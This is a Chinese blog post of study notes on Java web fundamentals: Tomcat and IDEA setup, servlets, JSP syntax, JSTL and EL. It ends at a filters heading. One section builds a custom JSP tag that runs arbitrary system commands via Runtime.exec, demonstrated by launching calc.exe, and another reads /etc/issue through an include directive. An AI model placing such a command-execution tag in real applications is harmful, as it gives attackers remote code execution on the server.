学习笔记 - java-web学习(一)

Posted by morouu on 2022-02-24
Estimated Reading Time 70 Minutes
Words 14.8k In Total
Viewed Times

学习笔记 - java-web学习(一)

- 前言 -

没啥水平的玩意,就当作给自己写着,便于以后翻看。

- 环境搭建 -

- tomcat -

作为一个免费开源的轻量web应用服务器, tomcat 可以看作是 Apache 服务器的扩展,常用以作为 ServletJSP 容器。

- 安装 -

这是有关在 windowstomcat 的安装,先从官网 https://tomcat.apache.org/ 下载,然后解压到合适的目录👇

image-20220222171726488

- 环境变量 -

确保以下环境变量得以配置👇

  • JAVA_HOME=C:\Java\jdk-11.0.12
  • CATALINA_HOME=F:\javaEnv\tomcat\apache-tomcat-9.0.58
  • CATALINA_BASE=F:\javaEnv\tomcat\apache-tomcat-9.0.58
  • CLASSPATH=F:\javaEnv\tomcat\apache-tomcat-9.0.58\lib\jsp-api.jar;F:\javaEnv\tomcat\apache-tomcat-9.0.58\lib\servlet-api.jar
  • PATH=C:\Java\jdk-11.0.12\bin;%PATH%

- 启动/停止 -

其中在 windows 下开启 tomcat 服务需运行 bin\startup.bat 文件(运行 bin\shutdown.bat 以关闭),图方便且为了能兼容多种版本的 tomcat 可以直接改 startup.bat 文件👇

image-20220222173114694

- 配置 -

可以在 lib\server.xml 中改 tomcat 的默认端口👇

image-20220222173320980

或者更改主机配置,比如👇

image-20220222174353137

其中 name 值可以为 ip 或是 域名,如上图 name 的值为 localhost 会从 hosts 获取对应的 127.0.0.1ip 因此可以通过👇

  • http://localhost:9058/
  • http://127.0.0.1:9058/

任意一个进行访问。

但如果 name 的值为 127.0.0.1 需要更改以下内容👇

image-20220222180237433

才能够用 http://localhost:9058/ 进行访问。

- IntelliJ IDEA -

之所以用 IntelliJ IDEA 完全是因为懒 有正版授权

- 配置tomcat -

依次点击 File => settings => Build, Execution, Deployment => Application Servers ,然后再点 + 添加 Tomcat Server 👇

image-20220222181734610

确保目标路径是正确的👇

image-20220222181825885

之后点击 OK ,后面的 IntelliJ IDEA 机会自动补上👇

image-20220222181919654

- 新建项目 -

依次点击 File => New => Module... => Application Servers , 然后进行设置👇

image-20220222182421753

设置好后点击 Next ,选择需要的 Dependencies 👇

image-20220222182615814

最后点击 Finish 即可完成项目的新建。

- 运行 -

IntelliJ IDEA 的右上角👇

image-20220223091036948

点击 + 然后找到 Tomcat Server ,并选择 Local👇

image-20220223091111466

新建完毕后先点击 Deployment 将上面新建的项目的 war 添入👇

image-20220223091143940

选择上面新建的项目👇

image-20220223091201366

再回到 Server 进行设置👇

image-20220223091456793

同时最好把把这两个选了👇

image-20220223091657930

这样在 tomcat 运行时更变代码会同步。

然后可以在 WEB-INF 目录新建一个目录 ,目录名可以随便起,比如 lib 👇

image-20220223092048740

再设置一下结构👇

image-20220223092431854

最后点击右上角的 => 即可👇

image-20220223091947466

由于在 IntelliJ IDEA 使用 tomcat 实质是先将写好的项目先打包成 war ,然后放入 tomcat 加载,所以像是 web.xml 是独立于 tomcat 的配置而只与这个项目相关。

- 环境变量 -

另外,在 IntelliJ IDEA 的运行中是直接执行 bin\catalina.bat 文件,实际上在 startup.bat 最后也会对这个文件进行执行👇

image-20220223094502882

所以如果要自定义相应的环境变量得到相应 tomcatbin\catalina.bat 文件中修改,或是更改运行的环境变量👇

image-20220223095815961

- 内容 -

- servlet -

servletserver applet ,全称为 java servlet 。从功能上来看,servlet 是一种用 java 编写的,运行在支持 java 语言服务器上的组件。通常来说,一个 servlet 是指所有实现了 servlet 接口的类, servlet 容器用以管理多个 servlet。而 tomcat 即是可以对多个 servlet 进行管理的容器,负责将客户端的请求包装后发送给对应的 servlet ,在由 servlet 处理完毕后将相应内容返回给客户端。

- 生命周期 -

①[装载和实例化] 当服务器启动时,服务器会去 WEB-INF/web.xml 文件中解析有关 servlet 的配置,装载各个 servlet 。若解析到某个 servlet 拥有 load-on-startup=1 配置时,就会将该 servlet 实例化;而对没有 load-on-startup=1 配置的 servlet 只有在客户端第一次请求时才会实例化(若 servlet 中含有构造方法,则会在此时执行)。

②[初始化] 当一个 servlet 被实例化后,servlet 容器会去调用该 servlet 实例的 init() 方法。

③[服务] 当客户端进行请求时,servlet 容器会将从 客户端 发来的 http 请求封装成 ServletRequest 对象,并实例化一个 ServletResponse 对象用作响应,然后将这两个对象作为参数去调用对应 servletservice() 方法进行处理(若对应的 servlet 没有被实例化则在首次请求时会将对应的 servlet 实例化)。

④[销毁]servlet 容器不再需要某个 servlet 实例时,会调用该 servlet 实例的 destroy() 方法。

- 代码 -

servlet 这个接口中定义了以下方法👇

  • public void init(ServletConfig config) throws ServletException
  • public ServletConfig getServletConfig()
  • public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException
  • public String getServletInfo()
  • public void destroy()

其中 GenericServlet 类实现了 servlet 接口👇

image-20220223101655370

HttpServlet 类继承了 GenericServlet 类,并对 service 方法做了一个包装👇

image-20220223101837442

会通过判断客户端的请求方法来调用自身的以下方法👇

  • doGet
  • doHEAD
  • doPUT
  • doDELETE
  • doOPTIONS
  • doTRACE

那么就可以通过继承 HttpServlet 类来自定义 servlet 的处理过程了。

- 示例 -

比如说写一个对 GET 请求方法简单的处理过程,其中 Main 类通过继承 HttpServlet 类( HttpServlet => GenericServlet => Servlet)实现了 Servlet 接口👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.jspstudy3;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Main extends HttpServlet {

public Main(){
System.out.println("== Main() ==");
}

@Override
public void init() {
System.out.println("== init() ==");
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
System.out.println("== doGet() ==");
resp.getWriter().println("doGet");
}
}

以上代码用 Main 类还重写了 HttpServlet 类的 init 方法,并手动添加了构造方法,目的是对比这几种方法的调用顺序和逻辑。

然后是 web.xml 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>main</servlet-name>
<servlet-class>com.example.jspstudy3.Main</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>main</servlet-name>
<url-pattern>/main</url-pattern>
</servlet-mapping>
</web-app>

以上内容先是用 <servlet> 标签声明一个名为 mainservlet ,其对应的类为 com.example.jspstudy3.Main ,进而用 <servlet-mapping> 标签来告诉 tomcat 当以哪种格式 url访问时会交给名为 mainservlet 处理。

其中一个 servlet 可由多个 <servlet-mapping> 标签对应,而 <servlet-mapping> 标签中的 <url-pattern> 内容为正则表达式,但仅可以用形如以下的通配符来表示👇

  • *.[后缀名]
  • /开头,*结尾

同时会根据表达式的模糊度来决定匹配的优先级,越准确的表达式优先级越高,越模糊的通配符优先级越低。

但如果每个 serlvet 都在 web.xml 就会显得特别臃肿,在 servlet3.0+ 时可以用以下方式替代 serlvetweb.xml 的配置👇

1
@WebServlet(name = "Main", urlPatterns = "/main")

如果是多个表达式👇

1
@WebServlet(name = "Main", urlPatterns = {"/main","/Main"})

此时无论访问 /main 或是 Main 都可以达到访问名为 mainservlet 目的。

另外,如果跟进 @WebServlet 可以发现实际上 urlPatternsvalue 是同一个功能👇

image-20220223084224126

所以上述表达式可以写成👇

1
@WebServlet(name = "Main", value = {"/main","/Main"})

valueurlPatterns 不能同时存在。

比方说这里写入 @WebServlet(name = "Main", value = {"/main"}) 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.jspstudy3;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(name = "Main", value = {"/main"})
public class Main extends HttpServlet {

public Main(){
System.out.println("== Main() ==");
}

@Override
public void init() {
System.out.println("== init() ==");
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
System.out.println("== doGet() ==");
resp.getWriter().println("doGet");
}
}

当访问 http://localhost:9058/jspstudy3_war_exploded/main 并刷新两次得到的结果👇

image-20220223093437449

可见在 Main 这个 servlet 中方法的调用顺序为 构造方法 => init() => doGet() ,显然 init 方法是在 servlet 被实例化完毕后才由 servlet 容器调用。

- servlet和tomcat过程 -

客户端tomcat 服务器(servlet 容器)的 serlvet (通过 <serlvet-mapping> 将请求URL对应到相应 serlvet类)发送 http 请求

servlet 容器将从 客户端 发来的 http 请求封装成 ServletRequest 对象

servlet 容器实例化一个 ServletResponse 对象用作响应

servlet 容器实例化相应 servlet 类(如果该 servlet 未在服务器启动时被实例化),然后将 ServletRequest 以及 ServletResponse 对象作为参数传给 servlet 类实例对象

servlet 容器将 servlet 类实例对象对相应内容的处理结果返回给客户端

- jsp -

jsp 全称为 java server pages ,旨在使用 jsp 标签在静态的 html 页面中插入 java 代码(通常为 <% [java代码] %> 格式),以便实现在静态模板页面中动态生成部分内容。

- jsp和serlvet联系 -

简单来说,jsp 实际上是一种 servlet ,只是表型形式不同。当客户端访问 jsp 时,服务器会将对应的 jsp 编译成 class 文件并将结果输出到浏览器。

比如写以下 jsp 文件👇

image-20220223100203201

由于这里我的 CATALINA_BASE 值为 C:\Users\22929\AppData\Local\JetBrains\IntelliJIdea2021.3\tomcat\f798d3f2-b185-4339-9a97-cdc26ef39996 故在保持服务器运行的情况下可以在 C:\Users\22929\AppData\Local\JetBrains\IntelliJIdea2021.3\tomcat\f798d3f2-b185-4339-9a97-cdc26ef39996\work\Catalina\localhost\jspstudy3_war_exploded\org\apache\jsp 目录中拿到有关 jspclassjava文件👇

image-20220223100524064

如果打开 test_jsp.java 文件,可以看到 test_jsp 类继承了 org.apache.jasper.runtime.HttpJspBase 类👇

image-20220223102358463

使用 jd-gui 打开 tomcat 目录下的 lib\jasper.jar 文件可以得到 org.apache.jasper.runtime.HttpJspBase 类的代码👇

image-20220223102823939

可见是继承了 HttpServlet 类,而 HttpServlet 类最终通过继承 GenericServlet 类实现 serlvet 方法,因此可以说 jsp 实际上是一个 serlvet

如果继续看这个 HttpJspBase 类还可以发现,其 initservice ,以及 destroy 方法分别存在 _jspInit_jspservice_jspDestory 方法的调用👇

image-20220223103358754

回来看 test_jsp.java 文件,存在上述的方法👇

image-20220223103441670

其中在 _jspService 方法中可以很明显的看到对相应内容的相关写入👇

image-20220223103715324

因此可知在 jsp 写的任何 html 内容都会被先转换为 servlet ,然后用 out.write 来写入响应内容,而 java 代码则会在这个 test_jsp 类的 _jspService 方法中执行。

同时 jsp 也可以看作是一个类的内部,像是 test_jsp 类的属性或是方法都可以在这个 jsp 里面直接使用的。

- jsp和servlet区别 -

由于 jsp 最终的归宿是转换成 servlet ,区别也就只能从其他方面来区分,比如在多层应用中 jsp 一般是用来做表现层,而servlet 用作控制层;jsp 是先部署后再编译,servlet 一般是先编译后部署,这样 如果 jsp 代码发生了改动,tomcat 就会在下次客户端请求时重新编译生成 class 文件,就不需要重启 tomcat 服务器。

- jsp和tomcat过程 -

客户端tomcat 服务器上的 jsp 发送 http 请求

tomcat 容器将从 客户端 发来的 http 请求封装成 ServletRequest 对象

tomcat 容器实例化一个 ServletResponse 对象用作响应

tomcat 服务器将对应的 jsp 文件转换成相应 java 格式的 servlet 文件

tomcat 服务器将相应 java 格式的 servlet 文件编译成对应 class 格式的 servlet 文件(此时就接着有关 servlet 的处理部分了)

tomcat 服务器实例化对应的 servlet 类(如果该 servlet 类未被实例化),将 ServletRequest 以及 ServletResponse 对象作为参数传给 servlet 类实例对象

tomcat 服务器将 servlet 类实例对象对相应内容的处理结果返回给客户端

- 语法 -

JSP脚本

1
<% [java代码段] %>

等价 XML 语句👇

1
2
3
<jsp:scriptlet>   
[java代码段]
</jsp:scriptlet>

可以在 JSP脚本 中写入任意 java 代码。

JSP声明

1
<%! [java声明内容] %>

等价 XML 语句👇

1
2
3
<jsp:declaration>   
[java声明内容]
</jsp:declaration>

声明内容可以是对一个或多个变量,方法定义或重写的语句。这些声明的内容在经过解析后会放到后面转换的 java 文件中,比如在 test.jsp 中有以下声明语句👇

1
2
3
4
5
6
<%!
int x = 100;
public void init(){
System.out.println("init");
}
%>

那么其对应的 test_jsp.java 文件的 test_jsp 类的开头就会多出以上内容👇

image-20220223121212647

可以看作是直接写入对应的类。

JSP表达式

1
<%= [表达式] %>

等价 XML 语句👇

1
2
3
<jsp:expression>   
[表达式]
</jsp:expression>

实际上 JSP表达式 等价于 out.write([表达式]) 。另外,无法用 ; 结尾。

JSP注释

1
<%-- [注释内容] --%>

这个 JSP注释 可以注释任何里面的东西,例如在调试的时候可以直接用 <%-- [注释内容] --%> 格式去让某段 html 内容消失。

- 指令(directive) -

jsp 的指令用来设置整个页面相关的属性,指令的语法格式👇

1
<%@ [设置内容] %>

有三种指令标签(摘自 JSP语法 )👇

指令 描述
<%@ page … %> 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include … %> 包含其他文件
<%@ taglib … %> 引入标签库的定义,可以是自定义标签
- page -

page 指令用来定义页面依赖性,比如脚本语言、error页面和缓存需求等,拥有以下的属性名称👇

  • import
  • contentType
  • pageEncoding
  • language
  • errorPage
  • isErrorPage
  • info
  • session
  • ......

例如👇

1
<%@ page import="java.io.IOException" %>

以上 import 的作用即是在 jsp 页面中引入需要用到的类或包。

比较常见的👇

1
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="utf-8" %>

即规定该页面的文档类型和所使用编码都为 utf-8 ,其次对该页面使用 java 语言进行解释。

还有👇

1
<%@ page session="false" %>

即是关闭了 jsp 中的内置 session 对象。

和错误页面相关的👇

1
<%@ page errorPage="error.jsp" %>

将当前页面的错误页面设为 error.jsp ,即如果在当前页面有错误发生则使用 error.jsp 页面的内容。

错误页面上的👇

1
<%@ page isErrorPage="true" %>

这样就可以在错误页面中直接使用 Exception 类的 exception 对象。

如果想声明 jsp 的信息可以用以下👇

1
<%@ page info="123" %>

这样可以从 Servlet.getServletInfo() 中获取到。

- include -

这个指令有点像 php 中的 include ,用以包含一些 jsp 或是 html 文件的内容,但并没有文件格式的限制,比如👇

1
<%@ include file="/etc/issue" %>

可以将 /etc/issue 文件的内容读取出来。

- taglib -

用以引入标签库,如以 JSTL 标签库为例👇

1
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

其中 prefix 为标签前缀,uri 为类库的地址。

- 行为(action) -

这个其实就是 jsp 中内置的 标签 ,使用 XML 语法结构。比如上面语法中所述的 XML 等价语句其实就是 jsp 的行为。

行为的语法格式👇

1
<jsp:[行为名称] [属性名]=[值]>

比如一些行为(摘自 JSP语法 )👇

语法 描述
jsp:include 用于在当前页面中包含静态或动态资源
jsp:useBean 寻找和初始化一个JavaBean组件
jsp:setProperty 设置 JavaBean组件的值
jsp:getProperty 将 JavaBean组件的值插入到 output中
jsp:forward 从一个JSP文件向另一个文件传递一个包含用户请求的request对象
jsp:plugin 用于在生成的HTML页面中包含Applet和JavaBean对象
jsp:element 动态创建一个XML元素
jsp:attribute 定义动态创建的XML元素的属性
jsp:body 定义动态创建的XML元素的主体
jsp:text 用于封装模板数据
- include -

和上面指令的 include 在包含形如 jsp 文件时所进行操作不同,行为中的 include 是先将所要包含的 jsp 文件编译执行了,然后将执行的结果内容包含进来;而指令的 include 则将所要包含的 jsp 文件的内容连同自己的内容合并了再编译执行。

比如在 test.jsp 页面中👇

1
<jsp:include page="index.jsp">

相当于将 index.jsp 页面加载完毕后的内容拼接到 test.jsp 页面对应 <jsp:include> 的位置。

- bean -

有关 javaBean 的行为,包括 useBeansetPropertygetProperty 。比如构造以下的 bean 类👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package person;


public class PersonBean implements java.io.Serializable {

private String name = null;
private int age = 0;
private String text = null;

public PersonBean() {
}

public String getName() {
return this.name;
}

public String getText() {
return this.text;
}

public int getAge() {
return this.age;
}

public void setName(String var1) {
this.name = var1;
}

public void setText(String var1) {
this.text = var1;
}

public void setAge(int var1) {
this.age = var1;
}
}

然后将其打包成 jar 👇

image-20220223181751792

一个简单的示例👇

1
2
3
4
5
6
7
8
9
10
<jsp:useBean id="person" class="person.PersonBean" scope="page" >
<jsp:setProperty name="person" property="name" value="dq"/>
<jsp:setProperty name="person" property="age" value="1"/>
<jsp:setProperty name="person" property="text" value="test"/>
</jsp:useBean>
<ul>
<li><jsp:getProperty name="person" property="name"/></li>
<li><jsp:getProperty name="person" property="age"/></li>
<li><jsp:getProperty name="person" property="text"/></li>
</ul>

其中👇

  • <jsp:setProperty> 用以指定对应名称的 bean 所使用的 bean 类,以及作用域,比如这里的意思是作用域为当前页面,名称为 person ,使用 person.PersonBean 类的 bean

  • <jsp:setProperty> 用以对指定名称的 bean 中对应属性赋值

  • <jsp:getProperty> 用以获取指定名称的 bean 中指定属性的值

得到结果👇

image-20220223182424982

当然 <jsp:useBean> 实质是在指定的作用域内实例化对应的类,而这个类不一定得是真正的 bean 类,只要是可序列化的都行。

- xml -

其实就是用 elementattributebodytext 构建 xml 内容,比如👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<jsp:element name="e1">
<jsp:attribute name="a1" trim="true">
a1_value
</jsp:attribute>
<jsp:attribute name="a2" trim="true">
a2_value
</jsp:attribute>
<jsp:body >
<jsp:element name="e2">
<jsp:attribute name="a3">
a3_value
</jsp:attribute>
<jsp:body>test</jsp:body>
</jsp:element>
</jsp:body>
</jsp:element>

得到结果👇

image-20220223184433857

- forward -

用以实现请求转发功能,类似 request.getRequestDispatcher("page").forward(request,response) ,简单来说即是将请求和响应内容原封不动地交给另一个页面进行处理,页面内容显示的是另一个页面的内容。

比如在 a.jsp👇

1
2
3
4
5
6
7
8
9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>a</title>
</head>
<body>
<jsp:forward page="b.jsp">
<jsp:param name="a" value="123"/>
</jsp:forward>
</body>
</html>

b.jsp👇

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>b</title>
</head>
<body>
<%
out.println(request.getParameter("a"));
out.println(request.getParameter("b"));
%>
</body>
</html>

当以 ?b=321 去访问 a.jsp 时👇

image-20220223185500826

虽然访问的是 a.jsp?b=321 但显示出来的内容为 b.jsp 页面的内容,这意味着在 b.jsp 中可以使用 a.jsprequestresponse

- 九大内置对象 -

由于在 jsp 中隐藏着九个内置对象,这使得 jspserlvet 用起来更为方便(摘自 JSP语法 )👇

对象 描述
request HttpServletRequest类的实例
response HttpServletResponse类的实例
out PrintWriter类的实例,用于把结果输出至网页上
session HttpSession类的实例
application ServletContext类的实例,与应用上下文有关
config ServletConfig类的实例
pageContext PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问
page 类似于Java类中的this关键字
Exception Exception类的对象,代表发生错误的JSP页面中对应的异常对象

- 四大作用域 -

其实就是九大内置对象中的四个,因为这四个对象都可以用 setAttribute 方法来存储数据,用 getAttribute 获取数据。

- application -

存在 application 的数据可以在服务器下的多个应用中访问。

- page -

存在 page 的数据只能在当前页面中访问。

- request -

存在 request 的数据可以在同一次请求中访问,如可以通过请求转发形式在 b.jsp 页面中访问 a.jsp 页面存在 request 的数据。

- session -

存在 session 的数据可以在同一会话中访问,一般来说可以在同一个项目下的所有页面访问到。

- 标签(tag) -

实话说,标签用起来感觉还挺方便。

- JSTL标签 -

jsp 标准标签库,封装了 jsp 应用的通用核心功能。需要从 http://archive.apache.org/dist/jakarta/taglibs/standard/binaries/ 下载相应的版本,然后将里面 lib 目录的 jartld 目录的 tld 文件放到对应路径中。

比如这里路径配置如下👇

image-20220223192855152

然后是 web.xml 内容👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<jsp-config>
<taglib>
<taglib-uri>http://java.sun.com/jsp/jstl/core</taglib-uri>
<taglib-location>/WEB-INF/tld/c.tld</taglib-location>
</taglib>
<taglib>
<taglib-uri>http://java.sun.com/jsp/jstl/fmt</taglib-uri>
<taglib-location>/WEB-INF/tld/fmt.tld</taglib-location>
</taglib>
<taglib>
<taglib-uri>http://java.sun.com/jsp/jstl/sql</taglib-uri>
<taglib-location>/WEB-INF/tld/sql.tld</taglib-location>
</taglib>
<taglib>
<taglib-uri>http://java.sun.com/jsp/jstl/xml</taglib-uri>
<taglib-location>/WEB-INF/tld/x.tld</taglib-location>
</taglib>
<taglib>
<taglib-uri>http://java.sun.com/jsp/jstl/functions</taglib-uri>
<taglib-location>/WEB-INF/tld/fn.tld</taglib-location>
</taglib>
</jsp-config>

</web-app>

根据所提供的功能,可以分为 5 个类别👇

  • 核心标签
  • 格式化标签
  • SQL标签
  • XML标签
  • JSTL函数

其中各个标签定义如下(摘自jsp标准标签库)👇

核心标签

1
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
标签 描述
<c:out> 用于在JSP中显示数据,就像<%= … >
<c:set> 用于保存数据
<c:remove> 用于删除数据
<c:catch> 用来处理产生错误的异常状况,并且将错误信息储存起来
<c:if> 与我们在一般程序中用的if一样
<c:choose> 本身只当做<c:when>和<c:otherwise>的父标签
<c:when> <c:choose>的子标签,用来判断条件是否成立
<c:otherwise> <c:choose>的子标签,接在<c:when>标签后,当<c:when>标签判断为false时被执行
<c:import> 检索一个绝对或相对 URL,然后将其内容暴露给页面
<c:forEach> 基础迭代标签,接受多种集合类型
<c:forTokens> 根据指定的分隔符来分隔内容并迭代输出
<c:param> 用来给包含或重定向的页面传递参数
<c:redirect> 重定向至一个新的URL.
<c:url> 使用可选的查询参数来创造一个URL

格式化标签

1
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
标签 描述
fmt:formatNumber 使用指定的格式或精度格式化数字
fmt:parseNumber 解析一个代表着数字,货币或百分比的字符串
fmt:formatDate 使用指定的风格或模式格式化日期和时间
fmt:parseDate 解析一个代表着日期或时间的字符串
fmt:bundle 绑定资源
fmt:setLocale 指定地区
fmt:setBundle 绑定资源
fmt:timeZone 指定时区
fmt:setTimeZone 指定时区
fmt:message 显示资源配置文件信息
fmt:requestEncoding 设置request的字符编码

SQL标签

1
<%@ taglib prefix="sql" uri="http://java.sun.com/jsp/jstl/sql" %>
标签 描述
sql:setDataSource 指定数据源
sql:query 运行SQL查询语句
sql:update 运行SQL更新语句
sql:param 将SQL语句中的参数设为指定值
sql:dateParam 将SQL语句中的日期参数设为指定的java.util.Date 对象值
sql:transaction 在共享数据库连接中提供嵌套的数据库行为元素,将所有语句以一个事务的形式来运行

XML标签

1
<%@ taglib prefix="x" uri="http://java.sun.com/jsp/jstl/xml" %>
标签 描述
<x:out> 与<%= … >,类似,不过只用于XPath表达式
<x:parse> 解析 XML 数据
<x:set> 设置XPath表达式
<x:if> 判断XPath表达式,若为真,则执行本体中的内容,否则跳过本体
<x:forEach> 迭代XML文档中的节点
<x:choose> <x:when>和<x:otherwise>的父标签
<x:when> <x:choose>的子标签,用来进行条件判断
<x:otherwise> <x:choose>的子标签,当<x:when>判断为false时被执行
<x:transform> 将XSL转换应用在XML文档中
<x:param> 与<x:transform>共同使用,用于设置XSL样式表

JSTL函数

1
<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %>
函数 描述
fn:contains() 测试输入的字符串是否包含指定的子串
fn:containsIgnoreCase() 测试输入的字符串是否包含指定的子串,大小写不敏感
fn:endsWith() 测试输入的字符串是否以指定的后缀结尾
fn:escapeXml() 跳过可以作为XML标记的字符
fn:indexOf() 返回指定字符串在输入字符串中出现的位置
fn:join() 将数组中的元素合成一个字符串然后输出
fn:length() 返回字符串长度
fn:replace() 将输入字符串中指定的位置替换为指定的字符串然后返回
fn:split() 将字符串用指定的分隔符分隔然后组成一个子字符串数组并返回
fn:startsWith() 测试输入字符串是否以指定的前缀开始
fn:substring() 返回字符串的子集
fn:substringAfter() 返回字符串在指定子串之后的子集
fn:substringBefore() 返回字符串在指定子串之前的子集
fn:toLowerCase() 将字符串中的字符转为小写
fn:toUpperCase() 将字符串中的字符转为大写
fn:trim() 移除首位的空白符
- 自定义标签 -

比方说自定义一个可用来执行系统命令的标签 cmd ,先写一个实现的类👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package custom;

import javax.servlet.jsp.JspException;
import javax.servlet.jsp.tagext.SimpleTagSupport;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.StringWriter;

public class cmd extends SimpleTagSupport {

private String cmd = null;
private boolean show = false;
private final StringWriter sw = new StringWriter();

public void setCmd(String cmd){
this.cmd = cmd;
}

public void setShow(boolean show){
this.show = show;
}

@Override
public void doTag() throws JspException, IOException {

if(this.cmd == null){
getJspBody().invoke(sw);
this.cmd = this.sw.toString();
}

StringBuilder sb = new StringBuilder();
String line;
BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(this.cmd).getInputStream(),"GBK"));
while((line = br.readLine()) != null){
sb.append(line);
}

if(this.show){
getJspContext().getOut().write(sb.toString());
}

}
}

然后打包成 jar ,放入指定目录中👇

image-20220223203359367

再写入 tld 文件👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<taglib>
<tlib-version>1.0</tlib-version>
<jsp-version>1.2</jsp-version>
<short-name>c_t</short-name>
<tag>
<name>execute</name>
<tag-class>custom.cmd</tag-class>
<body-content>scriptless</body-content>
<attribute>
<name>cmd</name>
<required>false</required>
<type>java.lang.String</type>
</attribute>
<attribute>
<name>show</name>
<required>false</required>
<type>boolean</type>
</attribute>
</tag>
</taglib>

以上内容是给这个标签规定了 2 个属性,分别为 cmdshow (这两个属性非强制要求赋值),其中 cmd 属性类型被规定为 String 型,用作输入命令,而 show 属性类型被规定为 boolean 型,判断是否将命令执行结果回显;并且可支持将内嵌内容传入 cmd 属性。

web.xml 中引入👇

image-20220223202302473

然后将以下内容写入 tag.jsp 文件👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<%@ taglib prefix="cmd" uri="//localhost/custom_tag/cmd" %>
<html>
<head>
<title>TAG</title>
</head>
<body>
<cmd:execute cmd="echo \"属性\"" show="true"/>
<cmd:execute show="true">
echo "内嵌"
</cmd:execute>
<cmd:execute cmd="echo \"属性,不显示\"" show="false"/>
<cmd:execute show="false">
echo "内嵌,不显示"
</cmd:execute>
<cmd:execute cmd="calc.exe" show="false"/>
</body>
</html>

得到结果👇

image-20220223203528491

- EL表达式 -

jsp 表达式语言即 JSP EL 使得访问存储在各式各样 javaBean 中的数据变得简单,其既可以用来创建算术表达式,也可以用来创建逻辑表达式。

简单的语法如下👇

1
${[表达式内容]}

JSP EL 中的通用操作符为 .[],比如想用 jsp 标签指定 xlength 属性的值👇

1
<jsp:setProperty name="x" property="length" value="100"/>

但这个 length 属性是需要动态变化的,这时就可以用到 JSP EL 了👇

1
<jsp:setProperty name="x" property="length" value="${param['a']+param['b']}"/>

以上的意思是将请求参数 ab 值相加得到的结果赋值给 xlength 属性。

若想要停用 JSP EL ,可以在开头写入👇

1
<%@ page isELIgnored ="true" %>

以下是有关 JSP EL 的操作符(摘自jsp表达式语言)👇

操作符 描述
. 访问一个Bean属性或者一个映射条目
[] 访问一个数组或者链表的元素
( ) 组织一个子表达式以改变优先级
+
- 减或负
*
/ or div
% or mod 取模
== or eq 测试是否相等
!= or ne 测试是否不等
< or lt 测试是否小于
> or gt 测试是否大于
<= or le 测试是否小于等于
>= or ge 测试是否大于等于
&& or and 测试逻辑与
|| or or 测试逻辑或
! or not 测试取反
empty 测试是否空值

当然,在 JSP EL 中使用标签库定义的函数也是可以的,比如👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %>
<html>
<head>
<title>EL</title>
</head>
<body>
<jsp:text>
${fn:toLowerCase("A")}
${fn:toUpperCase("a")}
${fn:join(fn:split("a b c d e f"," "),"|")}
</jsp:text>
</body>
</html>

得到结果👇

image-20220223211009460

同时 JSP EL 还支持下列的隐含对象(摘自jsp表达式语言)👇

隐含对象 描述
pageScope page 作用域
requestScope request 作用域
sessionScope session 作用域
applicationScope application 作用域
param Request 对象的参数,字符串
paramValues Request对象的参数,字符串集合
header HTTP 信息头,字符串
headerValues HTTP 信息头,字符串集合
initParam 上下文初始化参数
cookie Cookie值
pageContext 当前页面的pageContext

这样就一目了然了,比方说上面的 ${param['a']+param['b']} 即是获取传入参数 ab 之和。

- 过滤器(filter) -

